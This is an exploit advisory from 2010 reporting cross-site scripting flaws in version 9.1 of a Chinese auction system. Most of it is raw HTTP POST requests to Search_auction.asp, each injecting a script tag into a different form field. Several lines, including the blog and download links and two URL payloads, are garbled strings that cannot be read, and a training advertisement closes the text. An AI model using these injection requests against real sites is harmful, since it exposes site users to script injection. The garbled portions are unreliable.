# Exploit Title: 宝贝儿拍卖系统v9.1跨站0day漏洞
# Date: 2010-4-25
# Author: riusksk(泉哥)
# Blog：
cf9K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0A6N6i4y4C8M7$3E0Q4x3X3g2T1L8r3!0Y4j5Y4g2K6i4K6u0W2j5$3!0E0
# Tested on: [Windows 7 IIS + Firefox + Maxthon]
# Version：V9.1
# Download：
a03K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4F1j5X3u0J5i4K6u0W2j5$3!0E0i4K6u0r3k6r3!0%4L8Y4y4G2k6Y4c8Q4x3X3g2S2M7%4m8Q4x3@1k6K6L8$3k6@1L8X3q4E0k6g2)9K6c8r3u0T1M7R3`.`.
XSS:
=======================================0x01===============================================
050K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3S2W2L8s2m8Q4x3X3g2S2M7%4m8Q4x3@1k6A6L8X3k6G2i4K6g2X3e0X3q4E0k6g2)9K6c8o6q4Q4x3U0k6D9N6q4)9K6b7W2)9J5c8Y4c8A6N6r3I4W2i4K6t1$3k6%4c8Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7Y4y4U0M7X3W2H3N6q4)9J5y4X3N6@1i4K6y4n7j5h3I4W2M7Y4c8Q4x3U0S2Q4x3V1k6J5K9i4g2K6K9%4y4C8i4K6u0r3i4K6t1&6i4K6t1$3L8s2c8Q4x3@1u0Q4x3V1k6K6j5%4u0A6M7s2c8Q4x3U0k6Y4N6q4)9K6b7W2)9J5y4Y4y4W2j5i4u0U0K9p5u0@1L8Y4y4Q4x3@1c8Q4x3U0g2o6b7W2)9J5y4f1b7I4i4K6t1#2x3U0m8Q4x3U0g2o6b7W2)9J5y4f1j5%4i4K6t1$3j5$3I4S2M7%4y4A6k6q4)9K6c8o6p5`.
=======================================0x02===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1><script>alert(/riusksk/)</script>&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x03===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1><script>alert(/riusksk/)</script>&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x04===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1><script>alert(/riusksk/)</script>&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x05===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1><script>alert(/riusksk/)</script>&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x06===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1><script>alert(/riusksk/)</script>
=======================================0x07===============================================
249K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8W2y4W2j5i4u0U0K9q4)9#2k6X3q4#2j5%4c8A6L8$3&6Q4x3X3g2S2M7%4m8Q4x3@1k6n7b7W2u0Q4y4h3k6m8N6h3y4z5j5h3#2W2i4K6y4p5x3g2)9J5y4V1u0n7f1W2)9#2k6V1q4#2j5@1!0%4L8X3g2J5i4K6y4p5x3q4)9J5y4V1u0n7f1W2)9#2k6V1q4#2j5#2m8J5K9h3y4W2i4K6g2X3f1$3#2S2L8r3I4Q4x3@1b7H3i4K6t1$3b7V1u0d9i4K6g2X3b7i4g2U0f1s2u0A6j5$3g2Q4y4h3k6x3j5i4u0Y4k6g2)9K6c8o6m8Q4x3U0k6n7b7W2u0b7j5i4c8Z5i4K6y4p5x3g2)9J5y4X3N6@1i4K6y4n7i4K6t1$3L8s2c8Q4x3@1u0K6j5%4u0A6M7s2c8Q4x3U0k6Y4N6q4)9K6b7X3q4D9k6i4u0@1i4K6t1^5i4K6u0r3M7X3W2#2M7$3E0K6K9#2)9J5c8W2)9J5z5g2)9J5y4X3I4@1i4K6y4n7i4K6u0r3M7$3y4J5K9i4m8@1i4K6t1$3k6%4c8Q4x3@1u0Q4x3U0k6f1f1p5I4Q4y4h3k6b7M7X3!0$3i4K6y4p5x3g2)9J5y4W2c8b7e0q4)9#2k6V1y4A6N6s2W2Q4x3@1b7I4i4K6t1$3f1r3I4S2j5$3g2Q4x3@1b7I4i4K6t1$3b7V1u0d9i4K6g2X3b7i4g2U0e0$3I4V1e0X3g2%4i4K6y4p5x3q4)9J5y4V1u0n7f1W2)9#2k6V1q4#2j5#2A6Z5K9f1k6#2i4K6y4p5x3g2)9J5y4V1u0n7f1W2)9#2k6V1q4#2j5@1q4$3j5h3W2D9c8r3q4@1k6g2)9K6c8o6m8Q4x3U0k6n7b7W2u0Q4y4h3k6m8N6h3y4o6L8r3!0K6k6f1c8S2N6r3g2Q4x3@1b7H3i4K6t1$3b7V1u0d9i4K6g2X3b7i4g2U0g2s2W2H3k6g2)9K6c8o6q4Q4x3U0k6n7b7W2u0Q4y4h3k6m8N6h3y4o6L8$3#2Q4x3@1b7H3i4K6t1$3b7V1u0d9i4K6g2X3b7i4g2U0e0%4u0V1k6i4u0Q4x3@1b7H3i4K6t1$3c8r3W2K6M7p5W2F1k6X3!0f1P5i4m8W2i4K6y4p5x3q4)9J5y4Y4m8S2k6$3g2Q4x3@1b7I4
=======================================EOF================================================
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
